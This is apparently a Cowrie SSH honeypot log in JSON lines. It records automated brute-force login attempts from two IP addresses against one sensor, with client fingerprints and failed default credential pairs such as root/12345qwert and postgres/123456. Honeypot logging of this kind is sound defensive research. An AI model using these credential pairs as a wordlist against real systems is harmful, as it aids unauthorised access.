{"eventid":"cowrie.login.failed","username":"operator","password":"operator","message":"login attempt [operator/operator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:32.244858Z","src_ip":"176.65.139.95","session":"27ec45e840ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:33.356613Z","src_ip":"176.65.139.95","session":"27ec45e840ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":34664,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4b49366e72","protocol":"ssh","message":"New connection: 176.65.139.95:34664 (159.203.135.109:22) [session: ae4b49366e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:37.563804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:37.568305Z","src_ip":"176.65.139.95","session":"ae4b49366e72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:37.651653Z","src_ip":"176.65.139.95","session":"ae4b49366e72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:37.945655Z","src_ip":"176.65.139.95","session":"ae4b49366e72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:39.033873Z","src_ip":"176.65.139.95","session":"ae4b49366e72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35120,"dst_ip":"159.203.135.109","dst_port":22,"session":"0252287ea91a","protocol":"ssh","message":"New connection: 176.65.139.95:35120 (159.203.135.109:22) [session: 0252287ea91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:43.574156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:43.579394Z","src_ip":"176.65.139.95","session":"0252287ea91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:43.670853Z","src_ip":"176.65.139.95","session":"0252287ea91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:44.072884Z","src_ip":"176.65.139.95","session":"0252287ea91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:45.223122Z","src_ip":"176.65.139.95","session":"0252287ea91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59332,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc0c377349e1","protocol":"ssh","message":"New connection: 176.65.139.95:59332 (159.203.135.109:22) [session: cc0c377349e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:49.388370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:49.392710Z","src_ip":"176.65.139.95","session":"cc0c377349e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:49.477301Z","src_ip":"176.65.139.95","session":"cc0c377349e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"orca","password":"orca","message":"login attempt [orca/orca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:49.725374Z","src_ip":"176.65.139.95","session":"cc0c377349e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:50.837168Z","src_ip":"176.65.139.95","session":"cc0c377349e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":59342,"dst_ip":"159.203.135.109","dst_port":22,"session":"182ef310b105","protocol":"ssh","message":"New connection: 176.65.139.95:59342 (159.203.135.109:22) [session: 182ef310b105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:55.363206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:55.370795Z","src_ip":"176.65.139.95","session":"182ef310b105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:55.463992Z","src_ip":"176.65.139.95","session":"182ef310b105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:55.990161Z","src_ip":"176.65.139.95","session":"182ef310b105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:47:57.077718Z","src_ip":"176.65.139.95","session":"182ef310b105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42580,"dst_ip":"159.203.135.109","dst_port":22,"session":"30289eefa961","protocol":"ssh","message":"New connection: 176.65.139.95:42580 (159.203.135.109:22) [session: 30289eefa961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:01.478795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:01.487389Z","src_ip":"176.65.139.95","session":"30289eefa961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:01.570638Z","src_ip":"176.65.139.95","session":"30289eefa961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"123456","message":"login attempt [tomcat/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:01.954452Z","src_ip":"176.65.139.95","session":"30289eefa961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42296,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b0d16fdca4c","protocol":"ssh","message":"New connection: 159.203.92.129:42296 (159.203.135.109:22) [session: 3b0d16fdca4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:02.878427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:02.894820Z","src_ip":"159.203.92.129","session":"3b0d16fdca4c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:02.904902Z","src_ip":"159.203.92.129","session":"3b0d16fdca4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Kepler","password":"Kepler","message":"login attempt [Kepler/Kepler] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:02.927544Z","src_ip":"159.203.92.129","session":"3b0d16fdca4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:03.040363Z","src_ip":"176.65.139.95","session":"30289eefa961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:03.935923Z","src_ip":"159.203.92.129","session":"3b0d16fdca4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42604,"dst_ip":"159.203.135.109","dst_port":22,"session":"df7b4cf74415","protocol":"ssh","message":"New connection: 176.65.139.95:42604 (159.203.135.109:22) [session: df7b4cf74415]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:07.241165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:07.332361Z","src_ip":"176.65.139.95","session":"df7b4cf74415","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:07.336865Z","src_ip":"176.65.139.95","session":"df7b4cf74415","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:07.811642Z","src_ip":"176.65.139.95","session":"df7b4cf74415","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:08.905225Z","src_ip":"176.65.139.95","session":"df7b4cf74415","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56708,"dst_ip":"159.203.135.109","dst_port":22,"session":"aefdc1c1f0ff","protocol":"ssh","message":"New connection: 176.65.139.95:56708 (159.203.135.109:22) [session: aefdc1c1f0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:13.363573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:13.387531Z","src_ip":"176.65.139.95","session":"aefdc1c1f0ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:13.518467Z","src_ip":"176.65.139.95","session":"aefdc1c1f0ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zahra","password":"12345678","message":"login attempt [zahra/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:13.851626Z","src_ip":"176.65.139.95","session":"aefdc1c1f0ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:14.936997Z","src_ip":"176.65.139.95","session":"aefdc1c1f0ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54686,"dst_ip":"159.203.135.109","dst_port":22,"session":"6511c7a53ba7","protocol":"ssh","message":"New connection: 176.65.139.95:54686 (159.203.135.109:22) [session: 6511c7a53ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:48:19.360078Z"}
